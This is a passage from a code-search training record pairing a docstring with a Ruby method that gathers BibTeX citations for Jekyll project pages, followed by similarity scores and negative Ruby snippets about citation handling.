"0.55041665",
"0.5500621",
"0.5495459",
"0.54937816",
"0.5478473",
"0.54706055",
"0.5459673",
"0.5453325",
"0.5451836",
"0.54443",
"0.54410803",
"0.54355437",
"0.54275626",
"0.54267234",
"0.5425137",
"0.5425137",
"0.5425137",
"0.5425137",
"0.53974646",
"0.5392914",
"0.53928596",
"0.53790426",
"0.537811",
"0.53778297",
"0.5369052",
"0.5359654",
"0.5354742",
"0.5339897",
"0.5326814",
"0.5321888",
"0.5315598",
"0.53148884",
"0.5309647",
"0.53026986",
"0.5295309",
"0.529333",
"0.5290945",
"0.52863324",
"0.5282155",
"0.5281666"
] |
0.6402401
|
9
|
Reads and gathers all used citations of the current document and puts them into a new +BibTeX::Bibliography+ of the +Jekyll::Document+. Citations, which originates in the JLESC BibTeX file (i.e. +jlesc.bib+) are tagged with the keyword _own_ to denote publications created within JLESC. Returns nothing.
|
def read_used_citations
puts ' reading used citations'
@citations = gather_citations
@bibfiles = get_bibfiles
if @citations.length < 1
puts "WARNING: no citations for project #{document.data['slug']}"
else
@citations.each do |cite|
unless @bibfiles[cite[:bibfile]]
raise StandardError.new "Bibliography not included: #{cite[:bibfile]}"
end
bib_entry = @bibfiles[cite[:bibfile]][cite[:bibtex_id]]
unless bib_entry
puts "WARNING: BibTeX key '#{cite[:bibtex_id]}' not found in #{cite[:bibfile]}.bib."
end
cite[:bibtex] = create_clean_bibtex_entry(bib_entry, document, cite[:bibfile] =~ /jlesc/)
end
num_ref_jlesc = @citations.find_all {|e| e[:bibfile] =~ /jlesc/}.length
num_ref_external = @citations.find_all {|e| e[:bibfile] !~ /jlesc/}.length
puts " Found #{num_ref_jlesc} JLESC citations"
puts " Found #{num_ref_external} external citations"
end
num_ref_jlesc ||= 0
num_ref_external ||= 0
if num_ref_jlesc == 0
document.content.gsub! BIBLIOGRAPHY_MATCHER_JLESC, "\nNo publication yet."
end
if num_ref_external == 0
document.content.gsub! BIBLIOGRAPHY_MATCHER_EXTERNAL, "\nNo external references."
end
document.bibtex = BibTeX::Bibliography.new
@citations.each do |cite|
document.bibtex << cite[:bibtex]
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def citations\n CounterCitation.citations(stash_identifier: self)\n end",
"def citations\n CounterCitation.citations(stash_identifier: self)\n end",
"def generate_citations(document)\n if document.has? 'bibtex_t'\n begin\n if document['bibtex_t'].is_a?(Array)\n b = BibTeX.parse(document['bibtex_t'][0])\n elsif document['bibtex_t'].is_a?(String)\n b = BibTeX.parse(document['bibtex_t'])\n else\n b = BibTeX.parse(document['bibtex_t'].to_s)\n\t end\n\t # Creates a minimal BibTeX string from solr data if\n\t # the official BibTeX string can't be parsed.\n\t rescue BibTeX::ParseError\n b = BibTeX.parse(create_bibtex(document))\n\t end\n else\n\t # Creates a minimal BibTeX string from solr data if\n\t # there is no BibTeX in the solr document.\n b = BibTeX.parse(create_bibtex(document))\n end\n \n styles = Hash.new\n citations = Hash.new\n \n # To add a new citation style:\n # * the hash key will display in Find It as the label\n # for your citation style\n # * the style value is the name of the citation style\n # as listed at https://github.com/citation-style-language/styles\n styles['APA'] = CiteProc::Processor.new format: 'html', style: 'apa'\n styles['MLA'] = CiteProc::Processor.new format: 'html', style: 'modern-language-association'\n styles['Chicago'] = CiteProc::Processor.new format: 'html', style: 'chicago-fullnote-bibliography'\n styles['IEEE'] = CiteProc::Processor.new format: 'html', style: 'ieee'\n styles['CBE'] = CiteProc::Processor.new format: 'html', style: 'council-of-science-editors'\n \n # Generates the actual HTML citation using data from the\n # variable 'b' (our BibTeX string) and using the styles\n # established in the hash 'styles.'\n styles.each do |shortname, processor|\n processor.import b.to_citeproc\n unless processor.empty?\n citations[shortname] = processor.render(:bibliography, id: 'resource').first.tr('{}', '')\n else\n # If CSL mysteriously can't parse the citation,\n # just return the metadata from the variable 'b'\n # (our BibTeX string.)\n citations[shortname] = b\n end\n end\n return citations\n end",
"def build_bibliography_list\n result = []\n @citations.each_with_index do |ref, index|\n result << build_bibliography_item(ref, index)\n result << ''\n end\n result\n end",
"def extract_citations(doc, object)\n authorities = (doc/'/authority')\n authorities.each do |authority|\n is = MmsIntegration::Document.find(authority.inner_text)\n cit = Citation.create(:info_source_id => is.id, :citable=> object)\n end\n\n end",
"def citation\n if h.user_signed_in? && h.current_user.csl_style\n if fulltext_url\n cloud_icon = h.content_tag(:span, '',\n data: { tooltip: true },\n title: I18n.t('search.document.cloud_tooltip'),\n class: 'icon fi-upload-cloud has-tip')\n else\n cloud_icon = ''\n end\n\n csl = RLetters::Documents::AsCSL.new(object).entry(h.current_user.csl_style)\n return (csl + cloud_icon).html_safe\n end\n\n h.render partial: 'document', locals: { document: self }\n end",
"def index\n @references_citations = References::Citation.all\n end",
"def do_index\n @citation = Footnote.new\n @citations = @chapter.citations.includes(:biblioentry).order('biblioentries.name')\n @noted = @chapter\n @biblioentries = @citations.collect { |x| x.biblioentry }.sort.uniq\n all_citations = Footnote.includes(:biblioentry).where(slug: '').order('biblioentries.name')\n @all_citations = []\n all_citations.each do |citation|\n unless @all_citations.include?(citation.biblioentry) || @biblioentries.include?(citation.biblioentry)\n @all_citations << citation.biblioentry\n end\n end\n end",
"def chicago_citation(record)\n # more than 10, only the first seven should be listed in the bibliography, followed by et al.\n ## less than four, list all, first author: last name, first name, others first name last name\n # and before the last author ##\n authors = get_all_authors(record)\n author_text = \"\"\n unless authors[:primary_authors].blank?\n if authors[:primary_authors].length > 10\n authors[:primary_authors].each_with_index do |author, index|\n if index < 7\n if index == 0\n author_text << \"#{author}\"\n if author.ends_with?(\",\")\n author_text << \" \"\n else\n author_text << \", \"\n end\n else\n author_text << \"#{name_reverse(author)}, \"\n end\n end\n end\n author_text << \" et al.\"\n elsif authors[:primary_authors].length > 1\n authors[:primary_authors].each_with_index do |author, index|\n if index == 0\n author_text << \"#{author}\"\n if author.ends_with?(\",\")\n author_text << \" \"\n else\n author_text << \", \"\n end\n elsif index + 1 == authors[:primary_authors].length\n author_text << \"and #{name_reverse(author).gsub(/\\,.$/, '')}\"\n else\n author_text << \"#{name_reverse(author)}, \"\n end\n end\n else\n author_text << authors[:primary_authors].first.gsub(/\\,.$/, '')\n end\n else\n temp_authors = []\n authors[:translators].each do |translator|\n temp_authors << [translator, \"trans.\"]\n end\n authors[:editors].each do |editor|\n temp_authors << [editor, \"ed.\"]\n end\n authors[:compilers].each do |compiler|\n temp_authors << [compiler, \"comp.\"]\n end\n\n unless temp_authors.blank?\n if temp_authors.length > 10\n temp_authors.each_with_index do |author, index|\n if index < 7\n author_text << \"#{author.first} #{author.last} \"\n end\n end\n author_text << \" et al.\"\n elsif temp_authors.length > 1\n temp_authors.each_with_index do |author, index|\n if index == 0\n author_text << \"#{author.first} #{author.last}, \"\n elsif index + 1 == temp_authors.length\n author_text << \"and #{name_reverse(author.first)} #{author.last}\"\n else\n author_text << \"#{name_reverse(author.first)} #{author.last}, \"\n end\n end\n else\n author_text << \"#{temp_authors.first.first} #{temp_authors.first.last}\"\n end\n end\n end\n\n unless author_text.blank?\n author_text = author_text.gsub(/\\,$/, \"\")\n if author_text[-1, 1] != \".\"\n author_text += \". \"\n else\n author_text += \" \"\n end\n end\n # Get Pub Date\n pub_date = setup_pub_date(record) unless setup_pub_date(record).nil?\n\n # Get volumes\n\n # setup title info\n title = setup_title_info(record)\n\n\n if !authors[:primary_authors].blank? and (!authors[:translators].blank? or !authors[:editors].blank? or !authors[:compilers].blank?)\n additional_title << \"Translated by #{authors[:translators].collect {|name| name_reverse(name)}.join(\" and \")}. \" unless authors[:translators].blank?\n additional_title << \"Edited by #{authors[:editors].collect {|name| name_reverse(name)}.join(\" and \")}. \" unless authors[:editors].blank?\n additional_title << \"Compiled by #{authors[:compilers].collect {|name| name_reverse(name)}.join(\" and \")}. \" unless authors[:compilers].blank?\n end\n\n edition = \"\"\n edition << setup_edition(record) unless setup_edition(record).nil?\n\n pub_info = setup_pub_info(record) unless setup_pub_info(record).nil?\n\n\n citation = \"\"\n citation << \"#{author_text}\" unless author_text.blank?\n\n citation << \"<i>#{title}</i> \" unless title.blank?\n citation << \"#{edition} \" unless edition.blank?\n\n # add volumes information if not null\n volumes = volumes_info(record) unless volumes_info(record).blank?\n volumes = volumes.gsub(\"volumes\", \"vols. \") unless volumes.nil?\n citation << volumes unless volumes.blank?\n\n is_sound = is_sound_disc(record)\n sound_info = physical_description_sound(record)\n\n\n citation << \"#{pub_info}\" unless pub_info.blank? || is_sound\n citation << \"#{sound_info}\" unless sound_info.nil?\n if pub_date.blank? && (!pub_info.blank? || !sound_info.nil?)\n citation << \".\"\n elsif !pub_date.blank? && (!pub_info.blank? || !sound_info.nil?)\n citation << \", #{pub_date}.\"\n elsif !pub_date.blank? && pub_info.blank? && sound_info.nil?\n citation << \"#{pub_date}.\"\n end\n unless citation.blank?\n if citation[-1, 1] != \".\"\n citation += \".\"\n end\n end\n citation\n end",
"def council\n @councils = []\n \n if current_user.has_role? :admin\n councils = Council.all\n else\n councils = get_following_councils\n end\n\n councils.each do |council|\n observation = council.comments.find_by(user_id: current_user)\n observation = observation ? observation.body : ''\n\n @councils << {\n title: council.title,\n number: council.number,\n commission: council.commission,\n status: council.status,\n topic: council.topic,\n aval: council.aval ? 'SÍ' : 'NO',\n warning: council.warning ? 'SÍ' : 'NO',\n created_at: council.created_at.strftime('%d %b %Y'),\n filing_at: council.filing_at ? council.filing_at.strftime('%d %b %Y') : '',\n monitoring_at: council.monitoring_at ? council.monitoring_at.strftime('%d %b %Y') : '',\n commission_at: council.commission_at ? council.commission_at.strftime('%d %b %Y') : '',\n plenary_at: council.plenary_at ? council.plenary_at.strftime('%d %b %Y') : '',\n authors: council.councillors.authors.map { |author| author.name }.join(', '),\n speakers: council.councillors.speakers.map { |speaker| speaker.name }.join(', '),\n city: 'Bogotá',\n observation: observation\n }\n end\n end",
"def sample_documents\n HalOpenscience::Document.search(\"authIdFormPerson_s:#{docid}\", fields: ['citationFull_s'], limit: 5)\n .results\n .collect(&:citationFull_s)\n end",
"def document_bibliography_entry(doc)\n if @user.nil? || @user.csl_style == ''\n render :partial => 'document', :locals => { :document => doc }\n else\n doc.to_csl_entry(@user.csl_style)\n end\n end",
"def search_citation\n doc_id = params[:doc_id]\n doc_num = params[:doc_num]\n citations = []\n error = false\n\n citation = Citation.find_by citation_id: doc_id\n\n if citation\n citations << citation.citation_mla\n citations << citation.citation_apa\n citations << citation.citation_chicago\n else\n url = URI.escape(\"http://scholar.google.com/scholar?q=info:#{doc_id}:scholar.google.com/&output=cite&scirp=#{doc_num}\")\n uri = URI.parse(url)\n req = Net::HTTP::Get.new(uri)\n\n res = Net::HTTP.start(uri.hostname, uri.port) {|http|\n http.request(req)\n }\n\n response = res.body\n begin\n cleaned = res.body.dup.force_encoding('UTF-8')\n unless cleaned.valid_encoding?\n cleaned = res.body.encode( 'UTF-8', 'Windows-1251' )\n end\n response = cleaned\n rescue EncodingError\n response.encode!( 'UTF-8', invalid: :replace, undef: :replace )\n end\n\n result_indexes = []\n\n response.to_enum(:scan,/class=\"gs_citr\">/i).map do |m,|\n result_indexes << $`.size+16\n end\n\n close_div_indexes = []\n\n response.to_enum(:scan,/<\\/div><\\/td>/i).map do |m,|\n close_div_indexes << $`.size-1\n end\n\n for n in 0..2\n citations[n] = response[result_indexes[n]..close_div_indexes[n]]\n end\n\n begin\n project = Project.find(params[:project_id])\n citation = project.citations.create(:citation_id => doc_id, :citation_mla => citations[0], :citation_apa => citations[1], :citation_chicago => citations[2])\n if !citation.save\n error = true\n end\n rescue\n # ignored\n end\n end\n\n respond_to do |format|\n if !error\n format.js { render json: citations }\n else\n format.js { render json: error }\n end\n end\n end",
"def parse_citations\n @src.pos += @src.matched_size\n\t\t\t\tadd_citation(@src.matched.scan(CITE_INLINE).flatten)\n\t\t\t\ttrue\n end",
"def citing_doi\n\tif @citing_node.nil?\n\t {}\n\telse\n @doi ||= {\n :doi => Helpers.normalise_doi(@citing_node.at_css(\"doi_data doi\", @@ns).text),\n :resource => @citing_node.at_css(\"doi_data resource\", @@ns).text\n }\n\tend\n end",
"def fetch_local_bibitem(xmldoc)\n xmldoc.xpath(\"//bibitem[formattedref][uri[@type = 'citation']]\")\n .each do |b|\n uri = b&.at(\"./uri[@type = 'citation']\")&.text\n bibitem = read_local_bibitem(uri) or next\n bibitem[\"id\"] = b[\"id\"]\n b.replace(bibitem)\n end\n end",
"def simple_bibtex_reader(bibfiles)\n acc = {}\n for b in bibfiles\n b = File.expand_path(b)\n unless File.exist?(b)\n b = Deplate::External.kpsewhich(self, b)\n if b.empty?\n next\n end\n end\n File.open(b) {|io| acc[b] = simple_bibtex_parser(io.readlines, @configuration.strings_expansion)}\n end\n acc\n end",
"def recent_citations\n courtlistener = CourtListener.new\n citations = courtlistener.citing_opinions(cite1)\n citation_list = citations[0..4].map do |citation|\n data_hash = courtlistener.case_data_by_opinion(citation[\"citing_opinion\"])\n c = CLOpinion.new(data_hash)\n c.id = courtlistener.id_from_url(citation[\"citing_opinion\"])\n c\n end\n end",
"def retrieve_bibtex\n\n @bibtex.key = self.accession_number\n @bibtex.title = self.title\n if self.bib_authors_list.length > 0\n @bibtex.author = self.bib_authors_list.join(' and ').chomp\n end\n @bibtex.year = self.publication_year.to_i\n\n # bibtex type\n _type = self.publication_type\n case _type\n when 'Academic Journal'\n @bibtex.type = :article\n @bibtex.journal = self.source_title\n if self.issue\n @bibtex.issue = self.issue\n end\n if self.volume\n @bibtex.number = self.volume\n end\n if self.page_start && self.page_count\n @bibtex.pages = self.page_start + '-' + (self.page_start.to_i + self.page_count.to_i-1).to_s\n end\n if self.bib_publication_month\n @bibtex.month = self.bib_publication_month.to_i\n end\n when 'Conference'\n @bibtex.type = :conference\n @bibtex.booktitle = self.source_title\n if self.issue\n @bibtex.issue = self.issue\n end\n if self.volume\n @bibtex.number = self.volume\n end\n if self.page_start && self.page_count\n @bibtex.pages = self.page_start + '-' + (self.page_start.to_i + self.page_count.to_i-1).to_s\n end\n if self.bib_publication_month\n @bibtex.month = self.bib_publication_month.to_i\n end\n if self.publisher_info\n @bibtex.publisher = self.publisher_info\n end\n if self.series\n @bibtex.series = self.series\n end\n when 'Book', 'eBook'\n @bibtex.type = :book\n if self.publisher_info\n @bibtex.publisher = self.publisher_info\n end\n if self.series\n @bibtex.series = self.series\n end\n if self.bib_publication_month\n @bibtex.month = self.bib_publication_month.to_i\n end\n if self.isbns\n @bibtex.isbn = self.isbns.first\n end\n else\n @bibtex.type = :other\n end\n @bibtex\n end",
"def citation\n a = []\n a << CGI.escapeHTML(coins_authors) unless coins_authors.empty?\n a << CGI.escapeHTML(coins_year.to_s) unless coins_year.nil?\n a << \"'#{CGI.escapeHTML(coins_atitle)}'\" unless coins_atitle.nil?\n a << \"<i>#{CGI.escapeHTML(coins_title)}</i>\" unless coins_title.nil?\n a << \"vol. #{CGI.escapeHTML(coins_volume)}\" unless coins_volume.nil?\n a << \"no. #{CGI.escapeHTML(coins_issue)}\" unless coins_issue.nil?\n\n if !coins_spage.nil? && !coins_lpage.nil?\n a << \"pp. #{CGI.escapeHTML(coins_spage)}-#{CGI.escapeHTML(coins_lpage)}\"\n elsif !coins_spage.nil?\n a << \"p. #{CGI.escapeHTML(coins_spage)}\"\n end\n\n a.join ', '\n end",
"def citations\n Footnote.where(noted_id: id).where(slug: '')\n end",
"def index\n @civil_citations = CivilCitation.all\n end",
"def citation_generator(bib)\n builder = open_url_builder(\n bib, QuickSearch::Engine::WORLD_CAT_DISCOVERY_API_ARTICLE_CONFIG['citation_finder_link']\n )\n builder&.build\n end",
"def generate_csl_citation(csl_citation_data, csl_style)\n item = CiteProc::CitationItem.new(id: 'sulpub')\n item.data = CiteProc::Item.new(csl_citation_data)\n csl_renderer = CiteProc::Ruby::Renderer.new(format: 'html')\n csl_renderer.render item, csl_style.bibliography\n end",
"def generate_pub_list(publications)\n # sorting bibliography, first on how many files (notes etc), and then on citekey\n # it's weird [0][1] because in the sort above, it gets transformed first to a hash and then to an array. don't ask me :)\n # this way of trying to sort on two different criteria is not perfect, but mostly works\n \n # make hash if bibtex, if array leave alone, this allows for sorting\n pubs = publications.class == BibTeX::Bibliography ? publications.to_hash.sort[0][1] : publications\n\n pubsort = pubs.sort do |x,y| \n if debrace(y[:hasfiles]).to_s.strip.size == debrace(x[:hasfiles]).to_s.strip.size\n x[:key].to_s <=> y[:key].to_s\n else\n debrace(y[:hasfiles]).to_s <=> debrace(x[:hasfiles]).to_s\n end\n end\n\n # adding each item to the HTML output, properly formatted\n outcit = ''\n pubsort.each do |item| \n link = item[:hasfiles].to_s.index(\"H\") ? \"<a href = '/wiki/ref:#{item[:key]}'>\" : \"\" # only link if ref exists\n outcit << \"<tr><td>#{link}#{item[:key]}</a></td><td>#{debrace(item[:hasfiles]).split(\"\").join(\"</td><td> \")}</td><td>#{debrace(item[:cit])}</td></tr>\\n\"\n end\n return outcit\nend",
"def combine(citation, force=false)\n if citation.is_a?(Cedilla::Citation)\n \n citation.methods.each do |method|\n name = method.id2name.gsub('=', '')\n val = citation.method(name).call if (method.id2name[-1] == '=' and citation.respond_to?(name))\n \n unless val.nil?\n case name\n when 'others'\n val.each{ |item| @others << item if [email protected]?(item) }\n \n when 'resources'\n val.each{ |item| @resources << item if !self.has_resource?(item) }\n \n when 'authors'\n val.each{ |item| @authors << item if !self.has_author?(item) }\n \n when 'short_titles'\n val.each{ |item| @short_titles << item if !@short_titles.include?(item) or force }\n \n else\n unless ['!', 'error'].include?(name)\n self.method(\"#{name}=\").call(val) if self.method(\"#{name}\").call.nil? or force\n end\n end\n\n end\n \n end\n \n end\n end",
"def process_response \n LOGGER.debug \"CROSSREF SEARCH - Response from target: #{@response_status}\"\n #LOGGER.debug \"CROSSREF SEARCH - Headers: #{@response_headers.collect{ |k,v| \"#{k} = #{v}\" }.join(', ')}\"\n #LOGGER.debug \"CROSSREF SEARCH - Body:\"\n #LOGGER.debug @response_body\n \n ret = Cedilla::Citation.new({})\n \n json = JSON.parse(@response_body)\n \n json.first.each do |key,value|\n if key == 'doi'\n ret.doi = value if @citation.doi.nil?\n \n elsif key == 'title'\n ret.article_title = value if @citation.article_title.nil?\n \n elsif key == 'coins'\n # Call back to cedilla for a translation of the COINS OpenUrl\n url = URI.parse(\"#{@config['cedilla_citation_target']}?#{CGI.unescapeHTML(value)}\")\n \n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true if url.scheme == 'https'\n \n response = http.start do |http|\n http.open_timeout = @http_timeout\n http.read_timeout = @http_timeout\n \n http.get(url.request_uri, {}) \n end\n \n # Since we just had the citation generated by the cedilla openurl service, add a stub request wrapper around the citation\n # and pass it to the Translator\n request = Cedilla::Translator.from_cedilla_json('{\"citation\":' + response.body.to_s + '}')\n \n request.citation.methods.each do |method|\n # If this is a setter (but not the equality test)\n if method.id2name[-1] == '=' and !method.id2name.include?('==')\n getter = method.id2name.sub('=', '')\n setter = method.id2name\n \n # Skip it if the value is empty!\n unless request.citation.method(getter).call.nil?\n # If the original citation responds to the setter\n if @citation.respond_to?(setter)\n # If this is the authors array check each author\n if getter == \"authors\"\n request.citation.authors.each do |author|\n ret.authors << author unless @citation.has_author?(author)\n end\n \n # Otherwise set the response value if the original did not contain the value\n else\n ret.method(setter).call(request.citation.method(getter).call) if @citation.method(getter).call.nil?\n end\n end\n end\n end\n end\n\n end\n end\n \n ret\n end",
"def get_own_documents\n current_user_own_documents = current_user.own_documents(@page, @for_page, @order, @word)\n @documents = current_user_own_documents[:records]\n @pages_amount = current_user_own_documents[:pages_amount]\n end",
"def full_citation\n \"#{name}, #{cite1} (#{date_decided.year})\"\n end",
"def finalize_macro_processing\n @citations = @citations.uniq(&:to_s) # only keep the first occurance\n return if StyleUtils.is_numeric?(@style) && @numeric_in_appearance_order\n\n @citations = @citations.sort_by do |ref|\n bibitem = @biblio[ref]\n if bibitem.nil?\n [ref]\n else\n # extract the reference, and uppercase.\n # Remove { } from grouped names for sorting.\n author = bibitem.author\n author = bibitem.editor if author.nil?\n year = bibitem.year\n sortable = CitationUtils.author_chicago(author).map { |s| s.upcase.delete '{}' }\n sortable << year if year\n sortable\n end\n end\n nil\n end",
"def set_references_citation\n @references_citation = References::Citation.find(params[:id])\n end",
"def bibo_records\n @bibo_records ||= dois.map do |doi_info|\n record_base = {\n :doi => doi_info[:doi],\n :display_doi => doi_info[:display_doi],\n :type => doi_info[:type],\n :random_index => rand\n }\n\n contributors = contributors doi_info[:parent]\n record_base[:contributors] = contributors if not contributors.nil?\n\n published = published doi_info[:parent]\n record_base[:published] = published if not published.nil?\n\n title_node = doi_info[:parent].at_css(\"title\", @@ns)\n record_base[:title] = title_node.text if not title_node.nil?\n\n if doi_info[:type] == \"journal_article\" ||\n doi_info[:type] == \"conference_paper\"\n journal_node = doi_info[:parent].parent\n record_base[:journal] = journal(journal_node)\n\n conj_issue(record_base, journal_node)\n conj_volume(record_base, journal_node)\n end\n\n record_base\n end\n end",
"def bibs\n bibs = self.items.map {|item| item.about}\n \n # Create a Hash in which the keys are the display position and the values are the corresponding Bib objects\n indexed_bibs = bibs.reduce(Hash.new) {|sorted_bibs, bib| sorted_bibs[bib.display_position] = bib; sorted_bibs}\n \n # Convert the Hash form into an Array sorted by the display position\n sorted_bibs = indexed_bibs.keys.sort.reduce(Array.new) {|sorted_bibs, position| sorted_bibs << indexed_bibs[position]}\n \n sorted_bibs\n end",
"def coauthored_works\n @coauthored_works = []\n works.find(:all, :conditions => 'posted = 1').each do |w|\n unless self.is_sole_author_of?(w)\n @coauthored_works << w \n end\n end\n return @coauthored_works \n end",
"def gather_internal_refs\n #@files.each.with_object({}) do |(_, x), refs|\n @files.keys.each_with_object({}) do |i, refs|\n #x[:attachment] and next\n @files.get(i,:attachment) and next\n #file, = targetfile(x, read: true)\n file, = @files.targetfile_id(i, read: true)\n Nokogiri::XML(file)\n .xpath(ns(\"//bibitem[@type = 'internal']/\" \\\n \"docidentifier[@type = 'repository']\")).each do |d|\n a = d.text.split(%r{/}, 2)\n a.size > 1 or next\n refs[a[0]] ||= {}\n refs[a[0]][a[1]] = true\n end\n end\n end",
"def set_citation\n @citation = Citation.find(params[:id])\n end",
"def set_citation\n @citation = Citation.find(params[:id])\n end",
"def open\n require 'wiki-lib'\n ary = Array.new\n Selection.each do |dd|\n docu = dd.cite_key.get\n ary << docu unless File.exists?(\"#{Wikipages_path}/ref/#{docu}.txt\")\n ensure_refpage(docu)\n end\n `open http://localhost/wiki/ref:#{Selection[0].cite_key.get}`\nend",
"def set_civil_citation\n @civil_citation = CivilCitation.find(params[:id])\n end",
"def is_citable document\n if document.respond_to?(:export_as_mla_citation_txt) || document.respond_to?(:export_as_apa_citation_txt)\n return true\n end\n end",
"def bio_document\n @bio_document ||= Nokogiri::HTML(Imdb::Person.find_by_id(@id, 'bio'))\n end",
"def citeproc_item\n item = CiteProc::Item.new(id: @doc.uid, type: 'article-journal')\n\n unless @doc.authors.empty?\n item.author = CiteProc::Names.new\n @doc.authors.each do |a|\n item.author << CiteProc::Name.new(a.citeproc)\n end\n end\n\n item.title = @doc.title if @doc.title\n item.container_title = @doc.journal if @doc.journal\n item.issued = CiteProc::Date.new(Integer(@doc.year)) if @doc.year\n item.volume = @doc.volume if @doc.volume\n item.issue = @doc.number if @doc.number\n item.page = @doc.pages if @doc.pages\n\n item\n end",
"def get_bibtex_from_page\n tabidx = @chrome.windows[1].get.active_tab_index.get\n curtab = @chrome.windows[1].get.tabs[tabidx]\n\n # herokuapp is scrobblr - currently offline\n if cururl.any_index([\"/ref:\", \"herokuapp\", \"scholar.google\"])\n\n if cururl.any_index([\"/ref:\", \"herokuapp\"])\n query = cururl.index(\"herokuapp\") ? \"getElementById('bibtex')\" : \"querySelectorAll('.code')[0]\"\n else # GScholar\n tabidx += 1 # the next tab, with the BibTeX\n\n unless @chrome.windows[1].get.tabs[tabidx].URL.get.index(\"/&output=citation\")\n fail \"The next tab must be the BibTex tab, otherwise Google Scholar import won't work\"\n end\n\n query = \"querySelectorAll('pre')[0]\"\n end\n\n js = \"document.#{query}.innerHTML;\"\n bibtex = @chrome.windows[1].get.tabs[tabidx].get.execute(:javascript => js)\n\n bibtex.gsubs!(\n [/\\<(.+?)\\>/, ''], # plugins might insert random HTML tags\n [/keywords.+?\\}\\,\\n/i, ''], # no keywords, we want to assign our own\n [\"<b>Bibtex:</b>\", ''], # not part of bibtex string\n [\"&\", '&'],\n [/bdsk\\-file.+?\\}/mi, '}'], # the local bibdesk file reference is useless\n [\"read = {1},\\n\", ''], # other's might have read it, we haven't yet\n [/\\}\\n/m, \"},\\n\"], # fix comma after any lines cleaned of tags\n ).strip\n\n bibtex << \"}\" unless bibtex.scan(\"{\").size == bibtex.scan(\"}\").size # ensure right number of closing brackets\n\n else\n require 'open-uri'\n url = \"http://scraper.bibsonomy.org/service?url=#{cururl}&format=bibtex\"\n bibtex = try { open(url).read }\n bibtex.force_encoding(\"UTF-8\") # erroneously returns as ASCII-8bit\n end\n\n # final sanity check\n bibtex = cleanup_bibtex_string(bibtex)\n raise unless bibtex.index(\"author\")\n\n # Close if Google Scholar\n @chrome.windows[1].get.tabs[tabidx].close if curtab.title.get.index(\"Google Scholar\")\n\n return bibtex\nend",
"def set_citation\n @citation = Citation.find(params[:id])\n end",
"def set_citation\n @citation = Citation.find(params[:id])\n end",
"def index\n @q = Citation.search(params[:q])\n @q.sorts = 'id asc' if @q.sorts.empty?\n if params[:page] != \"false\"\n @citations = @q.result(distinct: true).page(params[:page])\n else\n @citations = @q.result(distinct: true)\n end\n\n respond_to do |format|\n format.html { render :index }\n format.json { render :json => @citations.to_json(\n :only => [:title, :author, :bibtex, :journal, :year,\n :volume, :pages, :month, :note, :key]\n )\n }\n end\n end",
"def reformat_bibliographic_citation\n return '' if self.bibliographic_citation.blank? || self.bibliographic_citation.first.gsub(/[,():\\/s]/,'').blank?\n citation=self.bibliographic_citation.first\n journal=self.source.blank? ? '' : self.source.first\n pubdate= self.date_created.blank? ? '' : self.date_created.first\n citation_arr=citation.split(':')\n issue_details= citation_arr.first.gsub(journal, '').gsub(pubdate,'').gsub(/[^a-zA-Z0-9,]/,'').split(',')\n unless issue_details.blank?\n volume=issue_details.first\n issue=issue_details.last\n formatted_volume = issue_details.count == 2 ? \" #{volume}(#{issue})\" : \" #{issue_details.join(' ')}\"\n end\n pages= citation_arr.last.gsub('page','').gsub(/[\\s]/,'')\n formated_pages = ''\n formated_pages = pages.split('-').count == 2 ? \", #{pages.strip}\" : \", #{pages.gsub(/[-]/,'')}\" unless pages.gsub(/[-]/,'').blank?\n format_publish_date = pubdate.blank? ? '' : \" (#{pubdate})\"\n first_part = \"#{journal}#{formatted_volume}#{formated_pages}\"\n first_part.blank? ? format_publish_date : \"#{first_part}.#{format_publish_date}\"\n end",
"def published_works(repository_client, publication)\n @published_works ||= repository_client.search('web_of_science_uid', publication.web_of_science_source_record[:uid])\n end",
"def recupererDocs(utilisateur)\r\n\t\tdocs = Hash.new()\r\n\t\tutilisateur.donnerDocumentsAccessibles().each do|document|\r\n\t\t\tif document.auteur != nil\r\n\t\t\t\tdocs.store(document.titre, document.numero => document.auteur.nom)\r\n\t\t\telse\r\n\t\t\t\tdocs.store(document.titre, document.numero => \"\")\r\n\t\t\tend\r\n\t\tend\r\n\t\treturn docs\r\n\tend",
"def authors\n bib_authors || get_item_data_by_name('Author')\n end",
"def cite_from_json(code, json)\n cite = {}\n cite[\"status\"] = code\n if code == 200\n json.each do |k, v|\n if k == \"authors\" \n author = v[\"authorName\"]\n if !author.nil?\n author = author[0] if author.kind_of?(Array)\n cite[\"author_first_name\"] = author[\"authorFirst\"] || \"\"\n cite[\"author_last_name\"] = author[\"authorLast\"] || \"\"\n end\n editor= v[\"editorName\"]\n if !editor.nil?\n editor = editor[0] if editor.kind_of?(Array)\n cite[\"editor_first_name\"] = editor[\"editorFirst\"] || \"\"\n cite[\"editor_last_name\"] = editor[\"editorLast\"] || \"\"\n end\n elsif k == \"isbn\"\n cite[\"isbn\"] = \"\"\n if v.kind_of?(Array)\n v.each { |i| cite[\"isbn\"] = \"#{cite[\"isbn\"]} #{i},\"}\n cite[\"isbn\"].chop!.strip!\n else\n cite[\"isbn\"] = v\n end\n elsif k == \"articleTitle\"\n cite[\"article_title\"] = v\n elsif k == \"pubInfo\"\n cite[\"publisher\"] = v\n elsif k == \"hollisId\"\n cite[\"hollis_system_number\"] = v.to_s\n elsif k == \"pmc\"\n cite[\"pmc\"] = v\n cite[\"url\"] = \"http://www.ncbi.nlm.nih.gov/pmc/articles/#{v}\"\n else\n cite[k.underscore] = v.to_s\n end\n end\n end\n cite #return cite\n end",
"def process\n result[:citation_groups] = citation_groups\n end",
"def update_direct_refs_to_docs(docxml, identifier)\n erefs = collect_erefs(docxml)\n docxml.xpath(ns(\"//bibitem[not(ancestor::bibitem)]\")).each do |b|\n docid = b.at(ns(\"./docidentifier[@type = 'repository']\"))\n (docid && %r{^current-metanorma-collection/}.match(docid.text)) or next\n update_bibitem(b, identifier)\n docid = docid_to_citeas(b) or next\n erefs[:citeas][docid] and update_anchors(b, docxml, docid)\n end\n end",
"def add(*citations)\n clashing = []\n hsh = to_hash\n citations.each do |cit|\n if hsh.key? cit.ident\n clashing << cit\n else\n @citations.push(cit)\n end\n end\n if clashing.size > 0\n clashing\n else\n nil\n end\n end",
